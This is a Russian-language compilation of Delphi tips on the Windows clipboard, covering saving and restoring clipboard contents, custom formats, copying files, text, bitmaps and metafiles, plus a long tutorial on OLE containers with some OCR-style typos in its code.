Как удобнее работать с буфером обмена как последовательностью байт?
Как скопировать содержимое строки в буфер обмена?
Встроенные форматы буфера обмена
Копируем русский текст в буфер обмена в Windows2000
Как копировать векторное изображение?
Как копировать и вставлять Bitmap через буфер обмена? Updated!
Использование интерфейса OLE New!
Как копировать/менять Clipboard text без использования VCL? New!

См. также статьи в других разделах:
Как копировать RTF текст в буффер обмена?
Как экспортировать содержимое DBGrid в Excel или ClipBoard?
Как скопировать файл в Windows clipboard?
Буфер обмена и ячейки DBGrid New!
DBGrid CutToClipboard New!
Копирование информации из DBGrid-а в Clipboard New!


Сохранение всего содержимого буфера обмена в файл

Из рассылки "Мастера DELPHI. Новости мира компонент,..."

var FS:TFileStream;
procedure TForm1.bClearClick(Sender: TObject);
begin
OpenClipBoard(0);
EmptyClipboard;
CloseClipBoard;
end;

procedure TForm1.BSaveClick(Sender: TObject);
var CBF:Cardinal;
CBFList:TList;
i:Integer;
h:THandle;
p:Pointer;
CBBlockLength,Temp:Cardinal;
FS:TFileStream;
begin
if OpenClipBoard(0)then begin
CBFList:=TList.Create;
CBF:=0;
repeat
CBF:=EnumClipboardFormats(CBF);
if CBF<>0 then
CBFList.Add(pointer(CBF));
until CBF=0;
edit1.text:=IntToStr(CBFList.Count);
if CBFList.Count>0 then begin
FS:=TFileStream.Create('e:\cp.dat',fmCreate);
Temp:=CBFList.Count;
FS.Write(Temp,SizeOf(Integer));
for i:=0 to CBFList.Count-1 do begin
h:=GetClipboardData(Cardinal(CBFList[i]));
if h>0 then begin
CBBlockLength:=GlobalSize(h);
if h>0 then begin
p:=GlobalLock(h);
if p <> nil then begin
Temp:=Cardinal(CBFList[i]);
FS.Write(Temp,SizeOf(Cardinal));
FS.Write(CBBlockLength,SizeOf(Cardinal));
FS.Write(p^,CBBlockLength);
end;
GlobalUnlock(h);
end;
end;
end;
FS.Free;
end;
CBFList.Free;
CloseClipBoard;
  end;
end;

procedure TForm1.bLoadClick(Sender: TObject);
var h:THandle;
p:Pointer;
CBF:Cardin!
al;
CBBlockLength:Cardinal;
i,CBCount:Integer;
FS:TFileStream;
begin
if OpenClipBoard(0)then begin
FS:=TFileStream.Create('e:\cp.dat',fmOpenRead);
if FS.Size=0 then Exit;
FS.Read(CBCount,sizeOf(Integer));
if CBCount=0 then Exit;
for i:=1 to CBCount do begin
FS.Read(CBF,SizeOf(Cardinal));
FS.Read(CBBlockLength,SizeOf(Cardinal));
h:=GlobalAlloc(GMEM_MOVEABLE or GMEM_SHARE or GMEM_ZEROINIT,CBBlockLength);
if h>0 then begin
p:=GlobalLock(h);
if p=nil then
GlobalFree(h)
else begin
FS.Read(p^,CBBlockLength);
GlobalUnlock(h);
SetClipboardData(CBF,h);
end;
end;
end;
FS.Free;
CloseClipBoard;
end;
end;

Взято с Vingrad.ru http://forum.vingrad.ru


Как работать с буфером обмена (clipboard)?

Этот пример использует картинку, кнопку и компонент shape на форме. Когда пользователь кликает по кнопке, то изображение формы сохраняется в в переменной FormImage и копируется в буфер обмена (Clipboard). Затем изображение формы копируется обратно в компонент картинки, тем самым создавая интересный эффект, особенно, если кнопку понажимать несколько раз.

procedure TForm1.Button1Click(Sender: TObject);
var
  FormImage: TBitmap;
begin
  FormImage := GetFormImage;
  try
    Clipboard.Assign(FormImage);
    Image1.Picture.Assign(Clipboard);
  finally
    FormImage.Free;
  end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  Shape1.Shape := stEllipse;
  Shape1.Brush.Color := clLime;
  Image1.Stretch := True;
end;

Следующий пример копирует содержимое экрана в буфер обмена:

procedure CopyScreenToClipboard;
var dx,dy : integer;
    hSourcDC,hDestDC,
    hBM, hbmOld : THandle;

begin
  dx := screen.width;
  dy := screen.height;
  hSourcDC := CreateDC('DISPLAY',nil,nil,nil);
  hDestDC  := CreateCompatibleDC(hSourcDC);
  hBM := CreateCompatibleBitmap(hSourcDC, dx, dy);
  hbmold:= SelectObject(hDestDC, hBM);
  BitBlt(hDestDC, 0, 0, dx, dy, hSourcDC, 0, 0, SRCCopy);
  OpenClipBoard(form1.handle);
  EmptyClipBoard;
  SetClipBoardData(CF_Bitmap, hBM);
  CloseClipBoard;
  SelectObject(hDestDC,hbmold);
  DeleteObject(hbm);
  DeleteDC(hDestDC);
  DeleteDC(hSourcDC);
end;

Взято из http://forum.sources.ru


Как программно реализовать Cut, Copy и Paste?

Следущие операции производятся с активным контролом на форме:

procedure TForm1.Cut1Click(Sender: TObject);
begin
  SendMessage (ActiveControl.Handle, WM_Cut, 0, 0);
end;

procedure TForm1.Copy1Click(Sender: TObject);
begin
  SendMessage (ActiveControl.Handle, WM_Copy, 0, 0);
end;

procedure TForm1.Paste1Click(Sender: TObject);
begin
  SendMessage (ActiveControl.Handle, WM_Paste, 0, 0);
end;

Если Вы разрабатываете приложение MDI, то необходимо отправлять сообщение в активное дочернее окно, т.е. использовать: ActiveMDIChild.ActiveControl.Handle

Взято из http://forum.sources.ru


Буфер обмена (Clipboard) и TMemoryStream

Обычно, это нужно для того, чтобы запихнуть в буфер обмена данные собственного формата. Сначала необходимо зарегистрировать этот формат при помощи функции RegisterClipboardFormat():

CF_MYFORMAT := RegisterClipboardFormat('My Format Description');

Затем необходимо проделать следующие шаги:
1. Создать поток (stream) и записать в него данные.
2. Создать в памяти глобальный буфер и скопировать в него поток (stream).
3. При помощи Clipboard.SetAsHandle() поместить глобальный буфер в буфер обмена.

Пример:

var
  hbuf    : THandle;
  bufptr  : Pointer;
  mstream : TMemoryStream;
begin
  mstream := TMemoryStream.Create;
  try
    {-- Записываем данные в mstream. --}
    hbuf := GlobalAlloc(GMEM_MOVEABLE, mstream.size);
    try
      bufptr := GlobalLock(hbuf);
      try
        Move(mstream.Memory^, bufptr^, mstream.size);
        Clipboard.SetAsHandle(CF_MYFORMAT, hbuf);
      finally
        GlobalUnlock(hbuf);
      end;
    except
      GlobalFree(hbuf);
      raise;
    end;
  finally
    mstream.Free;
  end;
end;

ВАЖНО: Не удаляйте буфер после GlobalAlloc(). Как только Вы поместите его в буфер обмена, то буфер обмена будет пользоваться им.

Для получения данных из потока, можно воспользоваться следующим кодом:

var
  hbuf    : THandle;
  bufptr  : Pointer;
  mstream : TMemoryStream;
begin
  hbuf := Clipboard.GetAsHandle(CF_MYFORMAT);
  if hbuf <> 0 then begin
    bufptr := GlobalLock(hbuf);
    if bufptr <> nil then begin
      try
        mstream := TMemoryStream.Create;
        try
          mstream.WriteBuffer(bufptr^, GlobalSize(hbuf));
          mstream.Position := 0;
          {-- Читаем данные из mstream. --}
        finally
          mstream.Free;
        end;
      finally
        GlobalUnlock(hbuf);
      end;
    end;
  end;
end;
Взято из http://forum.sources.ru


Как скопировать файл в Windows clipboard?

uses
  ShlObj, ClipBrd;

procedure CopyFilesToClipboard(FileList: string);
var
  DropFiles: PDropFiles;
  hGlobal: THandle;
  iLen: Integer;
begin
  iLen := Length(FileList) + 2;
  FileList := FileList + #0#0;
  hGlobal := GlobalAlloc(GMEM_SHARE or GMEM_MOVEABLE or GMEM_ZEROINIT,
    SizeOf(TDropFiles) + iLen);
  if (hGlobal = 0) then raise Exception.Create('Could not allocate memory.');
  begin
    DropFiles := GlobalLock(hGlobal);
    DropFiles^.pFiles := SizeOf(TDropFiles);
    Move(FileList[1], (PChar(DropFiles) + SizeOf(TDropFiles))^, iLen);
    GlobalUnlock(hGlobal);
    Clipboard.SetAsHandle(CF_HDROP, hGlobal);
  end;
end;

// Example, Beispiel:

procedure TForm1.Button1Click(Sender: TObject);
begin
  CopyFilesToClipboard('C:\Bootlog.Txt'#0'C:\AutoExec.Bat');
end;

{
  Separate the files with a #0.
  Dateien mit einem #0 trennen.
}

Взято с сайтаhttp://www.swissdelphicenter.ch/en/tipsindex.php


Как удобнее работать с буфером обмена как последовательностью байт?

unit ClipStrm;

{
  This unit is Copyright (c) Alexey Mahotkin 1997-1998
  and may be used freely for any purpose. Please mail
  your comments to
  E-Mail: alexm@hsys.msk.ru
  FidoNet: Alexey Mahotkin, 2:5020/433

  This unit was developed during incorporating of TP Lex/Yacc
  into my project. Please visit ftp://ftp.nf.ru/pub/alexm
  or FREQ FILES from 2:5020/433 or mail me to get hacked
  version of TP Lex/Yacc which works under Delphi 2.0+.
}

interface uses Classes, Windows;

type
  TClipboardStream = class(TStream)
  private
    FMemory : pointer;
    FSize : longint;
    FPosition : longint;
    FFormat : word;
  public
    constructor Create(fmt : word);
    destructor Destroy; override;

    function Read(var Buffer; Count : Longint) : Longint; override;
    function Write(const Buffer; Count : Longint) : Longint; override;
    function Seek(Offset : Longint; Origin : Word) : Longint; override;
  end;

implementation uses SysUtils;

constructor TClipboardStream.Create(fmt : word);

var
  tmp : pointer;
  FHandle : THandle;
begin
FFormat := fmt;
OpenClipboard(0);
FHandle := GetClipboardData(FFormat);
FSize := GlobalSize(FHandle);
FMemory := AllocMem(FSize);
tmp := GlobalLock(FHandle);
MoveMemory(FMemory, tmp, FSize);
GlobalUnlock(FHandle);
FPosition := 0;
CloseClipboard;
end;

destructor TClipboardStream.Destroy;
begin
FreeMem(FMemory);
end;

function TClipboardStream.Read(var Buffer; Count : longint) : longint;
begin
if FPosition + Count > FSize then
  Result := FSize - FPosition
else
  Result := Count;
MoveMemory(@Buffer, PChar(FMemory) + FPosition, Result);

Inc(FPosition, Result);
end;

function TClipboardStream.Write(const Buffer; Count : longint) : longint;
var
  FHandle : HGlobal;
  tmp : pointer;
begin
ReallocMem(FMemory, FPosition + Count);
MoveMemory(PChar(FMemory) + FPosition, @Buffer, Count);
FPosition := FPosition + Count;
FSize := FPosition;
FHandle := GlobalAlloc(GMEM_MOVEABLE or GMEM_SHARE or GMEM_ZEROINIT, FSize);
try
  tmp := GlobalLock(FHandle);
  try
    MoveMemory(tmp, FMemory, FSize);
    OpenClipboard(0);
    SetClipboardData(FFormat, FHandle);
  finally
    GlobalUnlock(FHandle);

  end;
  CloseClipboard;
except
  GlobalFree(FHandle);
end;
Result := Count;
end;

function TClipboardStream.Seek(Offset : Longint; Origin : Word) : Longint;
begin
case Origin of
0 : FPosition := Offset;
1 : Inc(FPosition, Offset);
2 : FPosition := FSize + Offset;
end;
Result := FPosition;
end;

end.

Alexey Mahotkin alexm@hsys.msk.ru (2:5020/433)
Взято из FAQ:
Delphi and Windows API Tips'n'Tricks
olmal@mail.ru
http://www.chat.ru/~olmal


Как скопировать содержимое строки в буфер обмена?

procedure CopyStringToClipboard(s: string);
var
  hg: THandle;
  P: PChar;
begin
  hg:=GlobalAlloc(GMEM_DDESHARE or GMEM_MOVEABLE, Length(S)+1);
  P:=GlobalLock(hg);
  StrPCopy(P, s);
  GlobalUnlock(hg);
  OpenClipboard(Application.Handle);
  SetClipboardData(CF_TEXT, hg);
  CloseClipboard;
  GlobalFree(hg);
end;

Взято с http://delphiworld.narod.ru


Встроенные форматы буфера обмена

Автор: Peter Below

procedure TForm1.BtnShowFormatsClick(Sender: TObject);
var
  buf: array[0..60] of Char;
  n: Integer;
  fmt: Word;
  name: string[30];
begin
  MemFormats.Clear;
  for n := 0 to Clipboard.FormatCount - 1 do
  begin
    fmt := Clipboard.Formats[n];
    if GetclipboardFormatName(fmt, buf, Pred(Sizeof(buf))) <> 0 then
      MemFormats.Lines.Add(StrPas(buf))
    else
    begin
      case fmt of
        1: name := 'CF_TEXT';
        2: name := 'CF_BITMAP';
        3: name := 'CF_METAFILEPICT';
        4: name := 'CF_SYLK';
        5: name := 'CF_DIF';
        6: name := 'CF_TIFF';
        7: name := 'CF_OEMTEXT';
        8: name := 'CF_DIB';
        9: name := 'CF_PALETTE';
        10: name := 'CF_PENDATA';
        11: name := 'CF_RIFF';
        12: name := 'CF_WAVE';
        13: name := 'CF_UNICODETEXT';
        14: name := 'CF_ENHMETAFILE';
        15: name := 'CF_HDROP (Win 95)';
        16: name := 'CF_LOCALE (Win 95)';
        17: name := 'CF_MAX (Win 95)';
        $0080: name := 'CF_OWNERDISPLAY';
        $0081: name := 'CF_DSPTEXT';
        $0082: name := 'CF_DSPBITMAP';
        $0083: name := 'CF_DSPMETAFILEPICT';
        $008E: name := 'CF_DSPENHMETAFILE';
        $0200..$02FF: name := 'частный формат';
        $0300..$03FF: name := 'Объект GDI';
      else
        name := 'неизвестный формат';
      end;
      MemFormats.Lines.Add(name);
    end;
  end;
end;

Взято с http://delphiworld.narod.ru


Копируем русский текст в буфер обмена в Windows2000

У меня Windows NT/2000. Когда копирую текст на русском языке, скажем, из TMemo в Ворд 97/2000, то получаю в результате каракули. Эти каракули исправляются, если перед копированием насильно переключить клавиатуру пользователя на русский язык. Но если у него нет этой клавиатуры, или если лучше не переключать ее, то как можно сообщить системе, что мы будем копировать РУССКИЙ текст. На форме создается невидимый TRichEdit (я обозвал его TRE в коде). Далее текст копируется в клипборд как обычно, после чего вызывается следующая процедура

procedure TMainForm.ConvertClipboard;
begin
 TRE.SelectAll;
 TRE.ClearSelection;
 TRE.Lines.Add(Clipboard.AsText);
 TRE.SelectAll;

 TRE.Font.Name := 'Times New Roman'; //тут нужный шрифт
 TRE.Font.Size := 12; // тут нужный размер
 // или просто берите TRE.Font := MainMemo.Font;

 TRE.SelAttributes.Charset := RUSSIAN_CHARSET;
 TRE.CopyToClipboard;
end

Взято с http://delphiworld.narod.ru


Как копировать векторное изображение?

procedure TForm1.Button1Click(Sender: TObject);
var
  mf: TMetaFile;
  mfc: TMetaFileCanvas;
  i: integer;
  ClipBrdFormat: word;
  data: cardinal;
  palette: hPalette;
  p: array [0..90] of TPoint;
begin
  mf := TMetaFile.Create;
  mf.Width := 100;
  mf.Height := 100;
  mfc := TMetafileCanvas.Create(mf, 0);
  with mfc do
  begin
    Pen.Color := clBlack;
    FrameRect(ClipRect);

    MoveTo(0, 50);
    LineTo(100, 50);
    LineTo(95, 48);
    MoveTo(100, 50);
    LineTo(95, 52);

    MoveTo(50, 100);
    LineTo(50, 0);
    LineTo(48, 5);
    MoveTo(50, 0);
    LineTo(52, 5);

    Brush.Style := bsClear;
    Font.name := 'arial';
    Font.Size := 6;
    TextOut(55, 0, 'Y');
    TextOut(95, 38, 'X');

    Pen.Color := clRed;
    for i := low(p) to high(p) do
      p[i] := Point(i, round(50 - 30 * sin((i - 50) / 5)));
    Polyline(p);
  end;
  mfc.Free;
  mf.SaveToClipboardFormat(ClipBrdFormat, data, palette);

  OpenClipboard(Application.Handle);
  EmptyClipboard;
  SetClipboardData(ClipBrdFormat, data);
  CloseClipboard;

  mf.Inch := 200;
  Form1.Canvas.Draw(0, 0, mf);
  mf.Free;
end;

Взято с http://delphiworld.narod.ru


Как копировать и вставлять Bitmap через буфер обмена?

Некоторые функции для копирования и вставки Bitmap-объектов через буфер обмена.

function CopyClipToBuf(DC: HDC; Left, Top, Width, Height: Integer;  Rop: LongInt; var CopyDC: HDC; var CopyBitmap: HBitmap): Boolean;
var
  TempBitmap: HBitmap;
begin
  Result := False;
  CopyDC := 0;
  CopyBitmap := 0;
  if DC <> 0 then
    begin
      CopyDC := CreateCompatibleDC(DC);
      if CopyDC <> 0 then
        begin
          CopyBitmap := CreateCompatibleBitmap(DC, Width, Height);
          if CopyBitmap <> 0 then
            begin
              TempBitmap := CopyBitmap;
              CopyBitmap := SelectObject(CopyDC, CopyBitmap);
              Result := BitBlt(CopyDC, 0, 0, Width, Height, DC, Left, Top, Rop);
              CopyBitmap := TempBitmap;
            end;
        end;
    end;
end;

function CopyBufToClip(DC: HDC; var CopyDC: HDC; var CopyBitmap: HBitmap;
           Left, Top, Width, Height: Integer;
           Rop: LongInt; DeleteObjects: Boolean): Boolean;
var
  TempBitmap: HBitmap;
begin
  Result := False;
  if (DC <> 0) and (CopyDC <> 0) and (CopyBitmap <> 0) then
    begin
      TempBitmap := CopyBitmap;
      CopyBitmap := SelectObject(DC, CopyBitmap);
      Result := BitBlt(DC, Left, Top, Width, Height, CopyDC, 0, 0, Rop);
      CopyBitmap := TempBitmap;
      if DeleteObjects then
        begin
          DeleteDC(CopyDC);
          DeleteObject(CopyBitmap);
        end;
    end;
end;

Ниже приведен код, позволяющий скопировать панель. Для вырезания части изображения необходимо знать размеры и координаты вырезаемого прямоугольника, и заменить значения width, height, left и top, приведенные в коде, на реальные. Если вы действительно хотите вырезать, а не копировать область, то вам понадобиться ее залить с помощью вызова функции fillrect.

Var
  BitMap: TBitmap;
begin
  BitMap:=TBitMap.Create;
  BitMap.Height:=BaseKeyPanel.Height;
  BitMap.Width:=BaseKeyPanel.Width;
  BitBlt(BitMap.Canvas.Handle, 0 {Лево}, 0{Top},
  BaseKeyPanel.Width, BaseKeyPanel.Height,
  GetDC(BaseKeyPanel.Handle), 0, 0, SRCCOPY);
  Clipboard.Assign(BitMap);
  BitMap.Free;
End;

Взято с http://delphiworld.narod.ru


Использование интерфейса OLE

Использование интерфейса OLE

Значение, которое придается сегодня внедрению интерфейса OLE, трудно переоценить. Фирма Microsoft извещает о том, что на получение логотипа "Windows 95 Compatible" будут сертифицированы только те приложения, которые имеют средства работы с OLE.
Разъяснять суть механизмов OLE с точки зрения пользователя здесь не имеет смысла; кратко опишем их с точки зрения программиста.
В создаваемый вами документ могут быть добавлены данные, созданные другим приложением: формулы, таблицы, графические файлы и т. п. Такие данные, рассматриваемые вместе с приложением, которое умеет их обрабатывать, будем называть объектом OLE, а такое приложение — сервером OLE. Дословный перевод аббревиатуры OLE означает "внедренные и связанные объекты". Разница между внедрением и связыванием состоит в том, где и как размещаются данные, представляющие объект. Внедренный объект хранится в самом документе и является его составной частью. Для связанного объекта хранится только ссылка на данные, которые могут находиться в другом документе или в другой части этого документа. Каждый из способов имеет свои достоинства и недостатки. Наличие внедренных объектов увеличивает размер документа, зато он обладает переносимостью, и несколько пользователей могут работать с ним одновременно. Когда объект связан, то он занимает гораздо меньше места, но такой документ нужно переносить вместе с данными, на которые он ссылается. Каждое изменение данных влечет за собой изменение во всех объектах, которые ссылаются на эти данные.
Возможности реализации OLE в рассматриваемой версии Delphi ограничены только поддержкой приема объектов. Тем, кто хочет создавать серверы OLE, придется подождать выпуска 32-разрядной версии Delphi, где возможности этого программного интерфейса будут реализованы в большей мере. В VCL имеется специальный компонент-контейнер, в который можно помещать данные OLE. Вставлять объекты в контейнер можно как на стадии разработки приложения, так и на стадии его выполнения. Здесь будет рассмотрен только последний вариант.

Компонент TOLEContainer

TObject->TPersistent-"TComponent->TControl—>TWinControl—>
>TCustomControl-"TOLEContainer
Модуль TOCTRL
Страница Палитры компонентов System
Загрузить объект OLE в контейнер можно тремя путями:
созданием нового объекта или связыванием с уже существующим через вызов диалога InsertOLEObjectDIg;
"перетаскиванием" объекта из сервера OLE в форму, содержащую контейнер, с помощью Drag&Drop;
помещением объекта из буфера обмена (посредством вызова диалога PasteSpecialDIg).
Общим является то, что во всех трех способах формируется поначалу определенная структура данных (типа BOLEInitInfo). Она является "визитной кар
точкой" сервера OLE и его данных. Как только значение указателя на нее присваивается свойству контейнера property PInitInfo: Pointer;
происходит процесс внедрения или связывания объекта. При этом может произойти активизация сервера. Несколько примеров использования этого свойства рассмотрено ниже.
Сразу после присвоения значения свойству контейнера PInitInfo потребность в созданной структуре отпадает. Ее можно уничтожить при помощи процедуры:
procedure ReleaseOLEInitInfо(PInitInfo: Pointer);
Контейнер, однако, продолжает хранить содержащуюся в этой структуре информацию. Для доступа к ней нужно воспользоваться свойством:
property Initlnfo: BOLEInitInfo;
Тип BOLEInitInfo не документирован Borland и его описание здесь не приводится.
Ниже будут подробнее рассмотрены все три варианта загрузки объекта OLE в контейнер.
Создание нового объекта
Этот способ применяется, когда вы хотите добавить к приложению данные из уже существующего файла, снабдив их возможностями одного из серверов OLE, который "умеет" с этими данными работать. Данные можно внедрить или связать. Можно также внедрить новый (пустой) объект, в этом случае сразу будет вызван сервер. В основе этого способа лежит вызов функции:
function InsertOLEObjectDIg(Form: TForm; HelpContext: THelpContext;
var PInitInfo: Pointer): Boolean;
Она инициализирует диалог, позволяющий создать новый объект OLE. В случае успешного окончания диалога создается структура типа BOLEInitInfo. Пример этого достаточно прост:

procedure TFormI-BitBtnIClick(Sender: Tobject);
  var Thelnfo : Pointer;
begin
  if InsertOLEObjectDIg(Self, 0, Thelnfo) then
  begin
    OLEContainerI.PInitInfo := Thelnfo;
    ReleaseOLEInitInfо(Thelnfo) ;
  end;
end;

Регистрация форматов
Два других способа получения данных OLE — через буфер обмена или посредством "перетаскивания" — требуют выполнения предварительных операций.
Для того чтобы форма могла играть роль получателя данных, нужно сделать следующее:
1. Объявить ее как приемник объектов OLE.
2. Связать с ней список форматов буфера обмена, получение которых будет поддерживаться.
Обе этих задачи решает вызов функции:
procedure RegisterFormAsOLEDropTarget(Form: TForm;
const Fmts: array of BOLEFormat);
Здесь Form — регистрируемая форма, Fmts — массив форматов. Каждый элемент массива форматов является записью типа:

BOLEFormat = Record
 fmtid: Word;
 fmCName: array [0.. 31] of char;
 fmtResultName: array[0..31] of char;
 fmtMedium: BOLEMedium;
 fmtIsLinkable: Bool;
end;

Поля записи имеют следующее назначение:
fmtid — идентификатор формата буфера обмена. Это может быть как стандартный формат (CF_TEXT, CF_BITMAP и др.), так и специальный формат для объектов OLE. В этом случае он должен быть зарегистрирован при помощи функции RegisterClipboardFormat (см. пример ниже);
fmtName — имя, которое появится в списке форматов диалога PasteSpecialDIg;
fmtResultName — имя формата, которое появится в комментариях внутри этого диалога. Например, если значение fmtResultName равно "Bitmap", то пользователь получит примерно следующий комментарий: "Inserts the contents of the Clipboard into your document as Bitmap";
fmtIsLinkable — показывает, могут ли данные в этом формате играть роль связанных объектов.
fmtMedium — константа, идентифицирующая тип данных в буфере обмена. Связана со значением поля fmtid следующим образом:
BOLEMEDSTREAM Связанные объекты OLE.
BOLEMEDSTORAGE Внедренные объекты OLE.
BOLEMEDMFPICT Метафайлы (CF.METAFILEPICT).
BOLEMEDGDI Графические данные (CF BITMAP, CF SYLK, CF DIP, CF TIFF, CF DIB, CF PALETTE, CF PENDATA, CFJUFF, CFWAVE).
BOLEMEDHGLOBAL Все прочие данные.

Специально для вычисления значения поля fmtMedium по формату данных предусмотрена функция:
function BOLEMediumCalc(frntid: Word): BOLEMedium;
Заполнить требуемый массив можно, например, так:

var
FEmbedClipFmt, FLinkClipFmt: Word;
Fmts: array[0..2] of BOLEFormat;
FEmbedClipFmt := RegisterClipboardFormat('Embedded Object');
FLinkClipFmt := RegisterClipboardFormat('Link Source');
Fmts[0].fmtid := FEmbedClipFmt;
Fmts[0].fmtMedium := BOLEMediumCalc(FEmbedClipFmt);
Fmts[0].fmtIsLinkable := False;
StrPCopy (Fmts[0].fmtName, '%s');
StrPCopy (Fmts[0].fmtResultName, '%s');
Fmts[l].fmtid := FLinkClipFmt;
Fmts[l].fmtMedium := BOLEMediumCalc(FLinkClipFmt);
Fmts[1].fmtIsLinkable := True;
StrPCopy (Fmts[1].fmtName, '%s');
StrPCopy (Fmts[1].fmtResultName, '%s');
Fmts[2].fmtid := CF_BITMAP;
Fmts[2].fmtMedium := BOLEMediumCalc(CF_BITMAP);
Fmts[2].fmtIsLinkable := False;
StrPCopy (Fmts[2].fmtName, 'Bitmap');
StrPCopy (Fmts[2].fmtResultName, 'Device-dependent Bitmap');
RegisterFormAsOLEDropTarget(Self, Fmts) ;

Для упрощения создания элемента списка форматов есть функция:
function OLEFormat(AFmtId: Word; AName, AResultName: String;
AIsLinkable: Bool): BOLEFormat;
Она заполняет структуру типа BOLEFormat переданными ей параметрами и возвращает указатель на нее. Приведенный выше фрагмент кода можно преобразовать так:
FEmbedClipFmt := RegisterClipboardFormat С Embedded Object');
FLinkClipFmt := RegisterClipboardFormat ('Link Source');
RegisterFormAsOLEDropTarget (Self,
[OLEFormat (PEmbedClipFmt, '%s', '%s', FALSE), OLEFormat (PLinkClipFmt, '%s', '%s', TRUE)]) ;
Для тех случаев, когда регистрацию формы и установку списка возможных форматов нужно произвести раздельно, предусмотрены процедуры:
procedure RegisterFormAsOLEDropTgt(Form: TForm);
procedure SetFormOLEDropFormats(Form: TForm;
const Fmts: array of BOLEFormat) ;
В паре они делают то же, что и RegisterFormAsOLEDropTarget. Для очистки списка форматов можно воспользоваться процедурой:
procedure ClearForrnOLEDropFormats(Form: TForm);
"Перетаскивание" объектов OLE
Форма может принимать данные, направляемые серверами OLE при помощи интерфейса Drag&Drop. Обратите внимание, что этот случай представляет собой исключение из общего правила, разрешающего "перетаскивать" объекты только в пределах одной формы.
Возможность работы Drag&Drop с OLE реализована, например, в приложениях из пакета Microsoft Office, однако, далеко не все серверы OLE 2.0 ее поддерживают.
Для получения данных путем "перетаскивания" нужно, во-первых, зарегистрировать форму при помощи ReisterFormAsOLEDropTarget. Во-вторых, для формы нужно создать обработчик события OnDragDrop (будьте внимательны: именно для формы, а не для контейнера!). При "перетаскивании" данных OLE этот обработчик получает в параметре Source объект специального класса TOLEDropNotify:

TOLEDropNotify = class(TObject)
public
  procedure Setlnfo(Form: TForm; Rect: TRect; Info: BOLEInitInfo);
  property DropPorm: TForm;
  property DropRect: TRect;
  property DataPormat: Word;
  property DataHandle: THandle;
  property PInitInfo: Pointer ;
end;

Его свойства приведены в таблице:
@ property DropForm: TForm; Определяет форму, в которую перемещены данные. Значение обычно равно Self.
(Ro) property DropRect: TRect; Определяет ПрЯМОуГОЛЬНИК, В КОТОрЫН
производилось перемещение. Обычно стягивается в точку, где была отпущена кнопка мыши.
(Ro) property DataFormat: Word; Определяет формат перемещенных данных. (Ro) property DataHandle: THandle; Содержит дескриптор перемещенных данных.
(Ro) property pinitinfo: pointer; Содержит указатель на структуру для инициализации.
Сброшенные данные могут как представлять объект OLE, так и иметь один из обычных форматов. Логическая взаимосвязь между тремя последними свойствами такая:
если получен объект OLE, то в параметре DataFormat возвращается значение -1. В этом случает дескриптор DataHandle недействителен, смысл имеет только свойство PInitInfo;
если получены данные в одном из обычных форматов, то свойство DataFormat содержит идентификатор этого формата, DataHandle — дескриптор соответствующих данных, a PInitInfo имеет значение nil.

Один из примеров обработчиков события OnDragDrop выглядит так:

procedure TFormI.OLEContainerlDragDropfSender, Source:   TObject;
X, Y:   Integer);
begin
  if Source is TOLEDropNotify then
    with Source as TOLEDropNotify do
      begin
        if (DataFormat = CF_TEXT) then
          begin
            Labell.Caption := StrPas(GlobalLock(DataHandle));
            GlobalUnlock(DataHandle) ;
            GlobalFree(DataHandle) ;
          end
        else
          if DataFormat = Word(-l) then
            OLEContainerI.PInitInfo := TOLEDropNotify(Source).PInitInfo;
      end;
end;

Обратите внимание, что в этом примере полученную структуру PInitInfo не нужно освобождать при помощи ReleaseOLEInitInfo.
Вставка объектов OLE из буфера обмена
Вставку реализует специальный диалог, вызываемый функцией:

function PasteSpecialDlg(Form: TForm;
const Fmts: array of BOLEFormat; HelpContext: THelpContext;
var Format: Word; var Handle: THandle;
var PInitInfo: Pointer ): Boolean;

Параметры этой функции означают следующее:
Form — принимающая данные форма;
Fmts — список поддерживаемых форматов данных;
HelpContext — контекст системы помощи для диалога (в файле с расширением .HLP, связанном с приложением). Если этот параметр имеет значение 0, то кнопка Help будет отсутствовать;
Функция присваивает значения трем параметрам:
Format — выбранный пользователем формат (из доступных в диалоге);
Handle — дескриптор данных;
PInitInfo — указатель на структуру данных инициализации. Функция возвращает True, если пользователь нажал в диалоге кнопку ОК или клавишу <Enter>. Логическая взаимосвязь между значениями Format, Handle и PInitInfo такая:
если пользователь решил присоединить или встроить имеющийся в буфере обмена объект, то в параметре Format возвращается значение -1. В этом случает дескриптор недействителен, а смысл имеет только параметр PTnitTnfo:
если вставляются имеющиеся в буфере обмена данные одного из обычных форматов, то параметр Format содержит его идентификатор, Handle — дескриптор соответствующих данных, a PInitInfo равен nil.
Перед тем, как вызывать PasteSpecialDIg, нужно убедиться в целесообразности этого, вызвав функцию:

function PasteSpecialEnabledfForm: TForm;const Pints: array of BOLEFormat): Boolean;

Она проверяет, есть ли в буфере обмена данные поддерживаемых формой Form форматов и, если это так, возвращает True. Если вы вызвали PasteSpecialDIg, не произведя проверку с помощью этой функции, то диалог появится, но в случае отсутствия данных не произведет никаких действий.
Посмотрите на приведенный ниже пример использования вызова диалога PasteSpecialDIg:

procedure TFormI.PasteItemClick(Sender: TObject);
var
  DataFormat: Word;
  DataHandle: THandle;
  Thelnfo: Pointer;
begin
  if PasteSpecialEnabledfSelf, Pints) then
    if PasteSpecialDIg(Formi, Fmts, 0, DataFormat, DataHandle, Thelnfo) then
      if DataFormat = Word(-l) then
        begin
          OLEContainerl.PInitInfo := Thelnfo;
          ReleaseOLEInitInfo(Thelnfo);
        end
      else
        if DataFormat in [CP_BITMAP, CF_METAPILEPICT] then
           Iinagel -Picture .Assign (Clipboard) ;
end;

Если вы хотите ограничиться вставкой из буфера обмена только объектов OLE, возможно значительно упростить описанный выше механизм. Функции
function PasteSpecialOLEDIg(Form: TForm; HelpContext: THelpContext;
var PInitInfo: Pointer): Boolean;
function PasteSpecialOLEEnabled(Form: TForm): Boolean;
являются полными аналогами PasteSpecialDIg и PasteSpecialEnabled — но только в части, касающейся OLE. Список зарегистрированных форматов по-прежнему необходим, но в нем будут играть роль только форматы для связанного и внедренного объектов.
Пример вызова диалога PasteSpecialOLEDIg короче предыдущего:

procedure TFormI.PasteitemClick(Sender: TObject);
  var Thelnfo: Pointer;
begin
  if PasteSpecialOLEEnabled(Self, Fmts) then
    if PasteSpecialOLEDIg(Formi, 0, Thelnfo) then
      begin
        OLEContainerl.PInitInfo := Thelnfo;
        ReleaseOLEInitInfo(Thelnfo) ;
      end;
end;

С помощью переключателей (радиокнопок), имеющихся в диалогах вставки, пользователь может определить, хочет ли он встроить или связать объект с вашим приложением.
